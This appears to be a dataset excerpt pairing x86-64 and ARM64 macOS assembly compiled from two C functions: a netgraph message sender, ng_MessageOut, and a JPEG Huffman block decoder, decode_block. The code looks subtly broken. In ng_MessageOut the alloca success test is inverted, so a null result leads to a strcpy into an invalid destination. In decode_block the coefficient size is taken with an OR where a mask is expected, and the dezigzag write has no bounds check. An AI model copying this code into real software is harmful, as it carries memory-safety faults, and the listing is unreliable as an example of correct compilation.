x86
stringlengths
122
99k
arm
stringlengths
122
86.4k
.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .section __TEXT,__literal16,16byte_literals .p2align 4, 0x0 ## -- Begin function ng_MessageOut LCPI0_0: .byte 15 ## 0xf .byte 14 ## 0xe .byte 13 ## 0xd .byte 12 ## 0xc .byte 11 ## 0xb .byte 10 ## 0xa .byte 9 ## 0x9 .byte 8 ## 0x8 .byte 7 ## 0x7 .byte 6 ## 0x6 .byte 5 ## 0x5 .byte 4 ## 0x4 .byte 3 ## 0x3 .byte 2 ## 0x2 .byte 1 ## 0x1 .byte 0 ## 0x0 LCPI0_1: .space 16,37 LCPI0_2: .quad 1 ## 0x1 .quad 1 ## 0x1 LCPI0_3: .byte 7 ## 0x7 .byte 6 ## 0x6 .byte 5 ## 0x5 .byte 4 ## 0x4 .byte 3 ## 0x3 .byte 2 ## 0x2 .byte 1 ## 0x1 .byte 0 ## 0x0 .space 1 .space 1 .space 1 .space 1 .space 1 .space 1 .space 1 .space 1 LCPI0_4: .byte 37 ## 0x25 .byte 37 ## 0x25 .byte 37 ## 0x25 .byte 37 ## 0x25 .byte 37 ## 0x25 .byte 37 ## 0x25 .byte 37 ## 0x25 .byte 37 ## 0x25 .space 1 .space 1 .space 1 .space 1 .space 1 .space 1 .space 1 .space 1 LCPI0_5: .byte 7 ## 0x7 .byte 6 ## 0x6 .byte 5 ## 0x5 .byte 4 ## 0x4 .byte 3 ## 0x3 .byte 2 ## 0x2 .byte 1 ## 0x1 .byte 0 ## 0x0 .byte 0 ## 0x0 .byte 0 ## 0x0 .byte 0 ## 0x0 .byte 0 ## 0x0 .byte 0 ## 0x0 .byte 0 ## 0x0 .byte 0 ## 0x0 .byte 0 ## 0x0 .section __TEXT,__const LCPI0_6: .space 2,1 .section __TEXT,__text,regular,pure_instructions .p2align 4, 0x90 _ng_MessageOut: ## @ng_MessageOut .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r15 pushq %r14 pushq %r13 pushq %r12 pushq %rbx subq $56, %rsp .cfi_offset %rbx, -56 .cfi_offset %r12, -48 .cfi_offset %r13, -40 .cfi_offset %r14, -32 .cfi_offset %r15, -24 movq %rsi, %r14 movq %rdi, %r12 movq ___stack_chk_guard@GOTPCREL(%rip), %rax movq (%rax), %rax movq %rax, -48(%rbp) movq _NG_PATHSIZ@GOTPCREL(%rip), %rax movl (%rax), %ebx movq %rbx, %rax callq ____chkstk_darwin addq $15, %rax andq $-16, %rax subq %rax, %rsp movq %rsp, %r15 leaq L_.str(%rip), %r13 movq %r14, %rdi movq %r13, %rsi callq _strspn movslq %eax, %rcx movq %r14, -64(%rbp) ## 8-byte Spill movq %rcx, -56(%rbp) ## 8-byte Spill addq %rcx, %r14 movq %r14, %rdi movq %r13, %rsi callq _strcspn movq %rax, %r13 cmpq %rbx, %rax jae LBB0_1 ## %bb.2: movq %r12, -72(%rbp) ## 8-byte Spill movq %r15, %rdi movq %r14, %rsi movq %r13, %rdx callq _memcpy movb $0, (%r15,%r13) addq %r13, %r14 leaq L_.str(%rip), %rbx movq %r14, %rdi movq %rbx, %rsi callq _strspn movslq %eax, %r12 addq %r12, %r14 movq %r14, %rdi movq %rbx, %rsi callq _strcspn movq %rax, %rbx testl %ebx, %ebx js LBB0_16 ## %bb.3: movl %ebx, %eax andl $2147483647, %eax ## imm = 0x7FFFFFFF cmpq $7, %rax jb LBB0_14 ## %bb.4: leaq 1(%rax), %rcx cmpl $15, %eax jae LBB0_9 ## %bb.5: xorl %edx, %edx LBB0_6: movl %ecx, %esi andl $-8, %esi movq %rbx, %xmm1 pxor %xmm0, %xmm0 movq -56(%rbp), %rdi ## 8-byte Reload addq %r13, %rdi addq %r12, %rdi addq %rax, %rdi subq %rsi, %rax subq %rdx, %rdi subq %rsi, %rdx movq -64(%rbp), %r8 ## 8-byte Reload addq %r8, %rdi addq $-7, %rdi xorl %r8d, %r8d movq LCPI0_5(%rip), %xmm2 ## xmm2 = [7,6,5,4,3,2,1,0,0,0,0,0,0,0,0,0] movdqa LCPI0_4(%rip), %xmm3 ## xmm3 = [37,37,37,37,37,37,37,37,u,u,u,u,u,u,u,u] pmovsxbq LCPI0_6(%rip), %xmm4 ## xmm4 = [1,1] pxor %xmm6, %xmm6 pxor %xmm5, %xmm5 .p2align 4, 0x90 LBB0_7: ## =>This Inner Loop Header: Depth=1 movq (%rdi,%r8), %xmm7 ## xmm7 = mem[0],zero pshufb %xmm2, %xmm7 pcmpeqb %xmm3, %xmm7 movdqa %xmm7, %xmm8 psrld $16, %xmm8 pmovzxbq %xmm8, %xmm8 ## xmm8 = xmm8[0],zero,zero,zero,zero,zero,zero,zero,xmm8[1],zero,zero,zero,zero,zero,zero,zero pand %xmm4, %xmm8 paddq %xmm8, %xmm0 pshufd $85, %xmm7, %xmm8 ## xmm8 = xmm7[1,1,1,1] pmovzxbq %xmm8, %xmm8 ## xmm8 = xmm8[0],zero,zero,zero,zero,zero,zero,zero,xmm8[1],zero,zero,zero,zero,zero,zero,zero pand %xmm4, %xmm8 paddq %xmm8, %xmm6 pmovzxbq %xmm7, %xmm8 ## xmm8 = xmm7[0],zero,zero,zero,zero,zero,zero,zero,xmm7[1],zero,zero,zero,zero,zero,zero,zero psrlq $48, %xmm7 pmovzxbq %xmm7, %xmm7 ## xmm7 = xmm7[0],zero,zero,zero,zero,zero,zero,zero,xmm7[1],zero,zero,zero,zero,zero,zero,zero pand %xmm4, %xmm7 paddq %xmm7, %xmm5 pand %xmm4, %xmm8 paddq %xmm8, %xmm1 addq $-8, %r8 cmpq %r8, %rdx jne LBB0_7 ## %bb.8: paddq %xmm6, %xmm1 paddq %xmm5, %xmm0 paddq %xmm1, %xmm0 pshufd $238, %xmm0, %xmm1 ## xmm1 = xmm0[2,3,2,3] paddq %xmm0, %xmm1 movq %xmm1, %rbx cmpl %esi, %ecx jne LBB0_14 jmp LBB0_16 LBB0_1: movq _LogWARN@GOTPCREL(%rip), %rax movl (%rax), %edi movl (%r12), %edx leaq L_.str.1(%rip), %rsi xorl %r12d, %r12d movq %r13, %rcx movq %r14, %r8 xorl %eax, %eax callq _log_Printf jmp LBB0_27 LBB0_9: movl %ecx, %edx andl $-16, %edx movq %rbx, %xmm0 pxor %xmm1, %xmm1 movq %rdx, %rsi negq %rsi movq -56(%rbp), %rdi ## 8-byte Reload addq %r13, %rdi addq %r12, %rdi addq %rax, %rdi movq -64(%rbp), %r8 ## 8-byte Reload addq %r8, %rdi addq $-15, %rdi xorl %r8d, %r8d pxor %xmm2, %xmm2 pxor %xmm3, %xmm3 pxor %xmm4, %xmm4 pxor %xmm9, %xmm9 pxor %xmm5, %xmm5 pxor %xmm10, %xmm10 pmovsxbq LCPI0_6(%rip), %xmm13 ## xmm13 = [1,1] .p2align 4, 0x90 LBB0_10: ## =>This Inner Loop Header: Depth=1 movdqu (%rdi,%r8), %xmm11 pshufb LCPI0_0(%rip), %xmm11 ## xmm11 = xmm11[15,14,13,12,11,10,9,8,7,6,5,4,3,2,1,0] pcmpeqb LCPI0_1(%rip), %xmm11 movdqa %xmm11, %xmm12 pshufd $85, %xmm11, %xmm6 ## xmm6 = xmm11[1,1,1,1] movdqa %xmm6, -96(%rbp) ## 16-byte Spill movdqa %xmm11, %xmm14 pshufd $238, %xmm11, %xmm15 ## xmm15 = xmm11[2,3,2,3] movdqa %xmm11, %xmm6 pshufd $255, %xmm11, %xmm7 ## xmm7 = xmm11[3,3,3,3] pmovzxbq %xmm11, %xmm8 ## xmm8 = xmm11[0],zero,zero,zero,zero,zero,zero,zero,xmm11[1],zero,zero,zero,zero,zero,zero,zero psrldq $14, %xmm11 ## xmm11 = xmm11[14,15],zero,zero,zero,zero,zero,zero,zero,zero,zero,zero,zero,zero,zero,zero pmovzxbq %xmm11, %xmm11 ## xmm11 = xmm11[0],zero,zero,zero,zero,zero,zero,zero,xmm11[1],zero,zero,zero,zero,zero,zero,zero pand %xmm13, %xmm11 paddq %xmm11, %xmm10 psrld $16, %xmm12 pmovzxbq %xmm12, %xmm11 ## xmm11 = xmm12[0],zero,zero,zero,zero,zero,zero,zero,xmm12[1],zero,zero,zero,zero,zero,zero,zero pand %xmm13, %xmm11 paddq %xmm11, %xmm1 pmovzxbq -96(%rbp), %xmm11 ## 16-byte Folded Reload ## xmm11 = mem[0],zero,zero,zero,zero,zero,zero,zero,mem[1],zero,zero,zero,zero,zero,zero,zero pand %xmm13, %xmm11 paddq %xmm11, %xmm2 psrlq $48, %xmm14 pmovzxbq %xmm14, %xmm11 ## xmm11 = xmm14[0],zero,zero,zero,zero,zero,zero,zero,xmm14[1],zero,zero,zero,zero,zero,zero,zero pand %xmm13, %xmm11 paddq %xmm11, %xmm3 pmovzxbq %xmm15, %xmm11 ## xmm11 = xmm15[0],zero,zero,zero,zero,zero,zero,zero,xmm15[1],zero,zero,zero,zero,zero,zero,zero pand %xmm13, %xmm11 paddq %xmm11, %xmm4 psrldq $10, %xmm6 ## xmm6 = xmm6[10,11,12,13,14,15],zero,zero,zero,zero,zero,zero,zero,zero,zero,zero pmovzxbq %xmm6, %xmm6 ## xmm6 = xmm6[0],zero,zero,zero,zero,zero,zero,zero,xmm6[1],zero,zero,zero,zero,zero,zero,zero pand %xmm13, %xmm6 paddq %xmm6, %xmm9 pmovzxbq %xmm7, %xmm6 ## xmm6 = xmm7[0],zero,zero,zero,zero,zero,zero,zero,xmm7[1],zero,zero,zero,zero,zero,zero,zero pand %xmm13, %xmm6 paddq %xmm6, %xmm5 pand %xmm13, %xmm8 paddq %xmm8, %xmm0 addq $-16, %r8 cmpq %r8, %rsi jne LBB0_10 ## %bb.11: paddq %xmm9, %xmm1 paddq %xmm10, %xmm3 paddq %xmm1, %xmm3 paddq %xmm4, %xmm0 paddq %xmm5, %xmm2 paddq %xmm0, %xmm2 paddq %xmm3, %xmm2 pshufd $238, %xmm2, %xmm0 ## xmm0 = xmm2[2,3,2,3] paddq %xmm2, %xmm0 movq %xmm0, %rbx cmpl %edx, %ecx je LBB0_16 ## %bb.12: testb $8, %cl jne LBB0_6 ## %bb.13: subq %rdx, %rax LBB0_14: leaq (%rax,%r13), %rcx notq %rax addq -56(%rbp), %rcx ## 8-byte Folded Reload addq %r12, %rcx addq -64(%rbp), %rcx ## 8-byte Folded Reload xorl %edx, %edx .p2align 4, 0x90 LBB0_15: ## =>This Inner Loop Header: Depth=1 xorl %esi, %esi cmpb $37, (%rcx,%rdx) sete %sil addq %rsi, %rbx decq %rdx cmpq %rdx, %rax jne LBB0_15 LBB0_16: leaq -4(%rbx), %rdi callq _alloca testq %rax, %rax je LBB0_17 ## %bb.19: movq _LogWARN@GOTPCREL(%rip), %rax movl (%rax), %r14d movq -72(%rbp), %rax ## 8-byte Reload movl (%rax), %r15d addq $4, %rbx movq _errno@GOTPCREL(%rip), %rax movl (%rax), %edi callq _strerror leaq L_.str.2(%rip), %rsi xorl %r12d, %r12d movl %r14d, %edi movl %r15d, %edx movq %rbx, %rcx movl %eax, %r8d xorl %eax, %eax callq _log_Printf jmp LBB0_27 LBB0_17: movq %r12, %rax movq %r14, %r12 xorl %edi, %edi testl %ebx, %ebx jle LBB0_18 ## %bb.20: addq -56(%rbp), %r13 ## 8-byte Folded Reload addq %rax, %r13 movq -64(%rbp), %rcx ## 8-byte Reload addq %r13, %rcx xorl %eax, %eax movq -72(%rbp), %r14 ## 8-byte Reload jmp LBB0_21 .p2align 4, 0x90 LBB0_23: ## in Loop: Header=BB0_21 Depth=1 incq %rax incl %edi cmpl %ebx, %edi jge LBB0_24 LBB0_21: ## =>This Inner Loop Header: Depth=1 cmpb $37, (%rcx,%rax) jne LBB0_23 ## %bb.22: ## in Loop: Header=BB0_21 Depth=1 incl %edi jmp LBB0_23 LBB0_24: movslq %edi, %rdi movl %eax, %ebx jmp LBB0_25 LBB0_18: xorl %ebx, %ebx movq -72(%rbp), %r14 ## 8-byte Reload LBB0_25: leaq L_.str.3(%rip), %rsi callq _strcpy addq %rbx, %r12 leaq L_.str(%rip), %rsi movq %r12, %rdi callq _strspn movslq %eax, %rbx addq %r12, %rbx movl 4(%r14), %edi movq %r15, %r13 movq %r15, %rsi xorl %edx, %edx movq %rbx, %rcx callq _NgSendAsciiMsg movl $1, %r12d testq %rax, %rax jns LBB0_27 ## %bb.26: movq _LogDEBUG@GOTPCREL(%rip), %rax movl (%rax), %r15d movl (%r14), %r12d movq _errno@GOTPCREL(%rip), %rax movl (%rax), %edi callq _strerror movl %eax, %r10d subq $8, %rsp leaq L_.str.4(%rip), %rsi movl %r15d, %edi movl %r12d, %edx movq %r13, %rcx xorl %r8d, %r8d movq %rbx, %r9 xorl %eax, %eax pushq %r10 callq _log_Printf addq $16, %rsp xorl %r12d, %r12d LBB0_27: movq ___stack_chk_guard@GOTPCREL(%rip), %rax movq (%rax), %rax cmpq -48(%rbp), %rax jne LBB0_29 ## %bb.28: movl %r12d, %eax leaq -40(%rbp), %rsp popq %rbx popq %r12 popq %r13 popq %r14 popq %r15 popq %rbp retq LBB0_29: callq ___stack_chk_fail .cfi_endproc ## -- End function .comm _NG_PATHSIZ,4,2 ## @NG_PATHSIZ .section __TEXT,__cstring,cstring_literals L_.str: ## @.str .asciz " \t" .comm _LogWARN,4,2 ## @LogWARN L_.str.1: ## @.str.1 .asciz "%s: %.*s: Node path too long\n" L_.str.2: ## @.str.2 .asciz "%s: alloca(%d) failure... %s\n" .comm _errno,4,2 ## @errno L_.str.3: ## @.str.3 .asciz " %s" .comm _LogDEBUG,4,2 ## @LogDEBUG L_.str.4: ## @.str.4 .asciz "%s: NgSendAsciiMsg (to %s): \"%s\", \"%s\": %s\n" .no_dead_strip _ng_MessageOut .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .p2align 2 ; -- Begin function ng_MessageOut _ng_MessageOut: ; @ng_MessageOut .cfi_startproc ; %bb.0: stp x26, x25, [sp, #-80]! ; 16-byte Folded Spill stp x24, x23, [sp, #16] ; 16-byte Folded Spill stp x22, x21, [sp, #32] ; 16-byte Folded Spill stp x20, x19, [sp, #48] ; 16-byte Folded Spill stp x29, x30, [sp, #64] ; 16-byte Folded Spill add x29, sp, #64 sub sp, sp, #16 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 .cfi_offset w21, -40 .cfi_offset w22, -48 .cfi_offset w23, -56 .cfi_offset w24, -64 .cfi_offset w25, -72 .cfi_offset w26, -80 mov x21, x1 mov x19, x0 Lloh0: adrp x8, ___stack_chk_guard@GOTPAGE Lloh1: ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF] Lloh2: ldr x8, [x8] stur x8, [x29, #-72] Lloh3: adrp x8, _NG_PATHSIZ@GOTPAGE Lloh4: ldr x8, [x8, _NG_PATHSIZ@GOTPAGEOFF] Lloh5: ldr w24, [x8] mov x9, x24 Lloh6: adrp x16, ___chkstk_darwin@GOTPAGE Lloh7: ldr x16, [x16, ___chkstk_darwin@GOTPAGEOFF] blr x16 mov x8, sp add x9, x24, #15 and x9, x9, #0x1fffffff0 sub x20, x8, x9 mov sp, x20 Lloh8: adrp x23, l_.str@PAGE Lloh9: add x23, x23, l_.str@PAGEOFF mov x0, x1 mov x1, x23 bl _strspn ; kill: def $w0 killed $w0 def $x0 sxtw x25, w0 add x22, x21, x25 mov x0, x22 mov x1, x23 bl _strcspn mov x23, x0 cmp x0, x24 b.hs LBB0_4 ; %bb.1: mov x0, x20 mov x1, x22 mov x2, x23 bl _memcpy strb wzr, [x20, x23] add x22, x22, x23 Lloh10: adrp x24, l_.str@PAGE Lloh11: add x24, x24, l_.str@PAGEOFF mov x0, x22 mov x1, x24 bl _strspn ; kill: def $w0 killed $w0 def $x0 sxtw x26, w0 add x22, x22, x26 mov x0, x22 mov x1, x24 bl _strcspn mov x24, x0 tbnz w24, #31, LBB0_17 ; %bb.2: and x9, x24, #0x7fffffff cmp x9, #7 b.hs LBB0_5 ; %bb.3: mov x11, x9 b LBB0_15 LBB0_4: Lloh12: adrp x8, _LogWARN@GOTPAGE Lloh13: ldr x8, [x8, _LogWARN@GOTPAGEOFF] Lloh14: ldr w0, [x8] ldr w2, [x19] stp x23, x22, [sp, #-16]! Lloh15: adrp x1, l_.str.1@PAGE Lloh16: add x1, x1, l_.str.1@PAGEOFF b LBB0_19 LBB0_5: add x8, x9, #1 cmp x9, #15 b.hs LBB0_10 ; %bb.6: mov x10, #0 ; =0x0 LBB0_7: and x12, x8, #0xfffffff8 sub x11, x9, x12 movi.2d v0, #0000000000000000 movi.2d v1, #0000000000000000 mov.d v1[0], x24 sub x13, x10, x12 add x14, x23, x26 add x14, x14, x25 add x9, x14, x9 sub x9, x9, x10 add x9, x9, x21 sub x9, x9, #7 movi.8b v2, #37 mov w10, #1 ; =0x1 dup.2d v3, x10 movi.2d v4, #0000000000000000 movi.2d v5, #0000000000000000 LBB0_8: ; =>This Inner Loop Header: Depth=1 ldr d6, [x9], #-8 rev64.8b v6, v6 cmeq.8b v6, v6, v2 ushll.8h v6, v6, #0 ushll.4s v7, v6, #0 ushll.2d v16, v7, #0 and.16b v16, v16, v3 ushll2.2d v7, v7, #0 and.16b v7, v7, v3 ushll2.4s v6, v6, #0 ushll.2d v17, v6, #0 and.16b v17, v17, v3 ushll2.2d v6, v6, #0 and.16b v6, v6, v3 add.2d v5, v5, v6 add.2d v4, v4, v17 add.2d v0, v0, v7 add.2d v1, v1, v16 adds x13, x13, #8 b.ne LBB0_8 ; %bb.9: add.2d v1, v1, v4 add.2d v0, v0, v5 add.2d v0, v1, v0 addp.2d d0, v0 fmov x24, d0 cmp x8, x12 b.ne LBB0_15 b LBB0_17 LBB0_10: and x10, x8, #0xfffffff0 movi.2d v0, #0000000000000000 movi.2d v1, #0000000000000000 mov.d v1[0], x24 movi.16b v2, #37 mov w11, #1 ; =0x1 dup.2d v3, x11 add x11, x23, x26 add x11, x11, x25 add x11, x11, x21 add x11, x11, x9 sub x11, x11, #15 mov x12, x10 movi.2d v5, #0000000000000000 movi.2d v4, #0000000000000000 movi.2d v16, #0000000000000000 movi.2d v6, #0000000000000000 movi.2d v17, #0000000000000000 movi.2d v7, #0000000000000000 LBB0_11: ; =>This Inner Loop Header: Depth=1 ldr q18, [x11], #-16 rev64.16b v18, v18 ext.16b v18, v18, v18, #8 cmeq.16b v18, v18, v2 ushll.8h v19, v18, #0 ushll.4s v20, v19, #0 ushll.2d v21, v20, #0 and.16b v21, v21, v3 ushll2.2d v20, v20, #0 and.16b v20, v20, v3 ushll2.4s v19, v19, #0 ushll.2d v22, v19, #0 and.16b v22, v22, v3 ushll2.8h v18, v18, #0 ushll.4s v23, v18, #0 ushll.2d v24, v23, #0 and.16b v24, v24, v3 ushll2.2d v19, v19, #0 and.16b v19, v19, v3 ushll2.2d v23, v23, #0 and.16b v23, v23, v3 ushll2.4s v18, v18, #0 ushll.2d v25, v18, #0 and.16b v25, v25, v3 ushll2.2d v18, v18, #0 and.16b v18, v18, v3 add.2d v7, v7, v18 add.2d v17, v17, v25 add.2d v6, v6, v23 add.2d v4, v4, v19 add.2d v16, v16, v24 add.2d v5, v5, v22 add.2d v0, v0, v20 add.2d v1, v1, v21 subs x12, x12, #16 b.ne LBB0_11 ; %bb.12: add.2d v1, v1, v16 add.2d v2, v5, v17 add.2d v1, v1, v2 add.2d v0, v0, v6 add.2d v2, v4, v7 add.2d v0, v0, v2 add.2d v0, v1, v0 addp.2d d0, v0 fmov x24, d0 cmp x8, x10 b.eq LBB0_17 ; %bb.13: tbnz w8, #3, LBB0_7 ; %bb.14: sub x11, x9, x10 LBB0_15: add x8, x11, #1 add x9, x23, x11 add x9, x9, x26 add x9, x9, x25 add x9, x21, x9 LBB0_16: ; =>This Inner Loop Header: Depth=1 ldrb w10, [x9], #-1 cmp w10, #37 cinc x24, x24, eq subs x8, x8, #1 b.ne LBB0_16 LBB0_17: sub x0, x24, #4 bl _alloca cbz x0, LBB0_23 ; %bb.18: Lloh17: adrp x8, _LogWARN@GOTPAGE Lloh18: ldr x8, [x8, _LogWARN@GOTPAGEOFF] Lloh19: ldr w20, [x8] ldr w19, [x19] add x21, x24, #4 Lloh20: adrp x8, _errno@GOTPAGE Lloh21: ldr x8, [x8, _errno@GOTPAGEOFF] Lloh22: ldr w0, [x8] bl _strerror ; kill: def $w0 killed $w0 def $x0 stp x21, x0, [sp, #-16]! Lloh23: adrp x1, l_.str.2@PAGE Lloh24: add x1, x1, l_.str.2@PAGEOFF mov x0, x20 mov x2, x19 LBB0_19: bl _log_Printf add sp, sp, #16 LBB0_20: mov w0, #0 ; =0x0 LBB0_21: ldur x8, [x29, #-72] Lloh25: adrp x9, ___stack_chk_guard@GOTPAGE Lloh26: ldr x9, [x9, ___stack_chk_guard@GOTPAGEOFF] Lloh27: ldr x9, [x9] cmp x9, x8 b.ne LBB0_31 ; %bb.22: sub sp, x29, #64 ldp x29, x30, [sp, #64] ; 16-byte Folded Reload ldp x20, x19, [sp, #48] ; 16-byte Folded Reload ldp x22, x21, [sp, #32] ; 16-byte Folded Reload ldp x24, x23, [sp, #16] ; 16-byte Folded Reload ldp x26, x25, [sp], #80 ; 16-byte Folded Reload ret LBB0_23: cmp w24, #1 b.lt LBB0_27 ; %bb.24: mov x8, #0 ; =0x0 mov w9, #0 ; =0x0 add x10, x23, x25 add x10, x10, x26 add x10, x21, x10 LBB0_25: ; =>This Inner Loop Header: Depth=1 ldrb w11, [x10, x8] cmp w11, #37 cinc w9, w9, eq add x8, x8, #1 add w9, w9, #1 cmp w9, w24 b.lt LBB0_25 ; %bb.26: sxtw x0, w9 mov w21, w8 b LBB0_28 LBB0_27: mov x0, #0 ; =0x0 mov x21, #0 ; =0x0 LBB0_28: Lloh28: adrp x1, l_.str.3@PAGE Lloh29: add x1, x1, l_.str.3@PAGEOFF bl _strcpy add x21, x22, x21 Lloh30: adrp x1, l_.str@PAGE Lloh31: add x1, x1, l_.str@PAGEOFF mov x0, x21 bl _strspn add x21, x21, w0, sxtw ldr w0, [x19, #4] mov x1, x20 mov x2, #0 ; =0x0 mov x3, x21 bl _NgSendAsciiMsg tbnz x0, #63, LBB0_30 ; %bb.29: mov w0, #1 ; =0x1 b LBB0_21 LBB0_30: Lloh32: adrp x8, _LogDEBUG@GOTPAGE Lloh33: ldr x8, [x8, _LogDEBUG@GOTPAGEOFF] Lloh34: ldr w22, [x8] ldr w19, [x19] Lloh35: adrp x8, _errno@GOTPAGE Lloh36: ldr x8, [x8, _errno@GOTPAGEOFF] Lloh37: ldr w0, [x8] bl _strerror ; kill: def $w0 killed $w0 def $x0 sub sp, sp, #32 stp x21, x0, [sp, #16] stp x20, xzr, [sp] Lloh38: adrp x1, l_.str.4@PAGE Lloh39: add x1, x1, l_.str.4@PAGEOFF mov x0, x22 mov x2, x19 bl _log_Printf add sp, sp, #32 b LBB0_20 LBB0_31: bl ___stack_chk_fail .loh AdrpAdd Lloh8, Lloh9 .loh AdrpLdrGotLdr Lloh3, Lloh4, Lloh5 .loh AdrpLdrGotLdr Lloh0, Lloh1, Lloh2 .loh AdrpAdd Lloh10, Lloh11 .loh AdrpAdd Lloh15, Lloh16 .loh AdrpLdrGotLdr Lloh12, Lloh13, Lloh14 .loh AdrpAdd Lloh23, Lloh24 .loh AdrpLdrGotLdr Lloh20, Lloh21, Lloh22 .loh AdrpLdrGotLdr Lloh17, Lloh18, Lloh19 .loh AdrpLdrGotLdr Lloh25, Lloh26, Lloh27 .loh AdrpAdd Lloh30, Lloh31 .loh AdrpAdd Lloh28, Lloh29 .loh AdrpAdd Lloh38, Lloh39 .loh AdrpLdrGotLdr Lloh35, Lloh36, Lloh37 .loh AdrpLdrGotLdr Lloh32, Lloh33, Lloh34 .loh AdrpLdrGot Lloh6, Lloh7 .cfi_endproc ; -- End function .comm _NG_PATHSIZ,4,2 ; @NG_PATHSIZ .section __TEXT,__cstring,cstring_literals l_.str: ; @.str .asciz " \t" .comm _LogWARN,4,2 ; @LogWARN l_.str.1: ; @.str.1 .asciz "%s: %.*s: Node path too long\n" l_.str.2: ; @.str.2 .asciz "%s: alloca(%d) failure... %s\n" .comm _errno,4,2 ; @errno l_.str.3: ; @.str.3 .asciz " %s" .comm _LogDEBUG,4,2 ; @LogDEBUG l_.str.4: ; @.str.4 .asciz "%s: NgSendAsciiMsg (to %s): \"%s\", \"%s\": %s\n" .no_dead_strip _ng_MessageOut .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .p2align 4, 0x90 ## -- Begin function decode_block _decode_block: ## @decode_block .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r15 pushq %r14 pushq %r13 pushq %r12 pushq %rbx pushq %rax .cfi_offset %rbx, -56 .cfi_offset %r12, -48 .cfi_offset %r13, -40 .cfi_offset %r14, -32 .cfi_offset %r15, -24 movl %r8d, %r12d movq %rcx, -48(%rbp) ## 8-byte Spill movq %rsi, %r14 movq %rdi, %r15 movq %rdx, %rsi callq _decode testl %eax, %eax jle LBB0_5 ## %bb.1: movl %eax, %r13d movq %r14, %rdi xorl %esi, %esi movl $128, %edx callq _memset movq %r15, %rdi movl %r13d, %esi callq _extend_receive movq (%r15), %rcx movslq %r12d, %rdx movl (%rcx,%rdx,4), %esi subl %eax, %esi movl %esi, (%rcx,%rdx,4) movw %si, (%r14) movl $1, %r12d .p2align 4, 0x90 LBB0_2: ## =>This Inner Loop Header: Depth=1 movq %r15, %rdi movq -48(%rbp), %rsi ## 8-byte Reload callq _decode testl %eax, %eax js LBB0_5 ## %bb.3: ## in Loop: Header=BB0_2 Depth=1 movl %eax, %r13d shrl $4, %r13d orl $15, %eax leal (%r12,%r13), %ebx movq %r15, %rdi movl %eax, %esi callq _extend_receive movq _dezigzag@GOTPCREL(%rip), %rcx movq (%rcx), %rcx movq (%rcx,%rbx,8), %rcx movw %ax, (%r14,%rcx,2) addl %r13d, %r12d incl %r12d cmpl $63, %ebx jl LBB0_2 ## %bb.4: movl $1, %eax addq $8, %rsp popq %rbx popq %r12 popq %r13 popq %r14 popq %r15 popq %rbp retq LBB0_5: leaq L_.str(%rip), %rdi leaq L_.str.1(%rip), %rsi addq $8, %rsp popq %rbx popq %r12 popq %r13 popq %r14 popq %r15 popq %rbp jmp _e ## TAILCALL .cfi_endproc ## -- End function .section __TEXT,__cstring,cstring_literals L_.str: ## @.str .asciz "bad huffman code" L_.str.1: ## @.str.1 .asciz "Corrupt JPEG" .comm _dezigzag,8,3 ## @dezigzag .no_dead_strip _decode_block .subsections_via_symbols
.section __TEXT,__text,regular,pure_instructions .build_version macos, 15, 0 sdk_version 15, 5 .p2align 2 ; -- Begin function decode_block _decode_block: ; @decode_block .cfi_startproc ; %bb.0: stp x24, x23, [sp, #-64]! ; 16-byte Folded Spill stp x22, x21, [sp, #16] ; 16-byte Folded Spill stp x20, x19, [sp, #32] ; 16-byte Folded Spill stp x29, x30, [sp, #48] ; 16-byte Folded Spill add x29, sp, #48 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 .cfi_offset w21, -40 .cfi_offset w22, -48 .cfi_offset w23, -56 .cfi_offset w24, -64 mov x22, x4 mov x19, x3 mov x20, x1 mov x21, x0 mov x1, x2 bl _decode cmp w0, #1 b.lt LBB0_5 ; %bb.1: mov x23, x0 mov x0, x20 mov w1, #0 ; =0x0 mov w2, #128 ; =0x80 bl _memset mov x0, x21 mov x1, x23 bl _extend_receive ldr x8, [x21] ldr w9, [x8, w22, sxtw #2] sub w9, w9, w0 strh w9, [x20] str w9, [x8, w22, sxtw #2] mov w23, #1 ; =0x1 Lloh0: adrp x22, _dezigzag@GOTPAGE Lloh1: ldr x22, [x22, _dezigzag@GOTPAGEOFF] LBB0_2: ; =>This Inner Loop Header: Depth=1 mov x0, x21 mov x1, x19 bl _decode tbnz w0, #31, LBB0_5 ; %bb.3: ; in Loop: Header=BB0_2 Depth=1 add w24, w23, w0, lsr #4 orr w1, w0, #0xf mov x0, x21 bl _extend_receive ldr x8, [x22] ldr x8, [x8, w24, uxtw #3] strh w0, [x20, x8, lsl #1] add w23, w24, #1 cmp w24, #63 b.lt LBB0_2 ; %bb.4: mov w0, #1 ; =0x1 ldp x29, x30, [sp, #48] ; 16-byte Folded Reload ldp x20, x19, [sp, #32] ; 16-byte Folded Reload ldp x22, x21, [sp, #16] ; 16-byte Folded Reload ldp x24, x23, [sp], #64 ; 16-byte Folded Reload ret LBB0_5: Lloh2: adrp x0, l_.str@PAGE Lloh3: add x0, x0, l_.str@PAGEOFF Lloh4: adrp x1, l_.str.1@PAGE Lloh5: add x1, x1, l_.str.1@PAGEOFF ldp x29, x30, [sp, #48] ; 16-byte Folded Reload ldp x20, x19, [sp, #32] ; 16-byte Folded Reload ldp x22, x21, [sp, #16] ; 16-byte Folded Reload ldp x24, x23, [sp], #64 ; 16-byte Folded Reload b _e .loh AdrpLdrGot Lloh0, Lloh1 .loh AdrpAdd Lloh4, Lloh5 .loh AdrpAdd Lloh2, Lloh3 .cfi_endproc ; -- End function .section __TEXT,__cstring,cstring_literals l_.str: ; @.str .asciz "bad huffman code" l_.str.1: ; @.str.1 .asciz "Corrupt JPEG" .comm _dezigzag,8,3 ; @dezigzag .no_dead_strip _decode_block .subsections_via_symbols
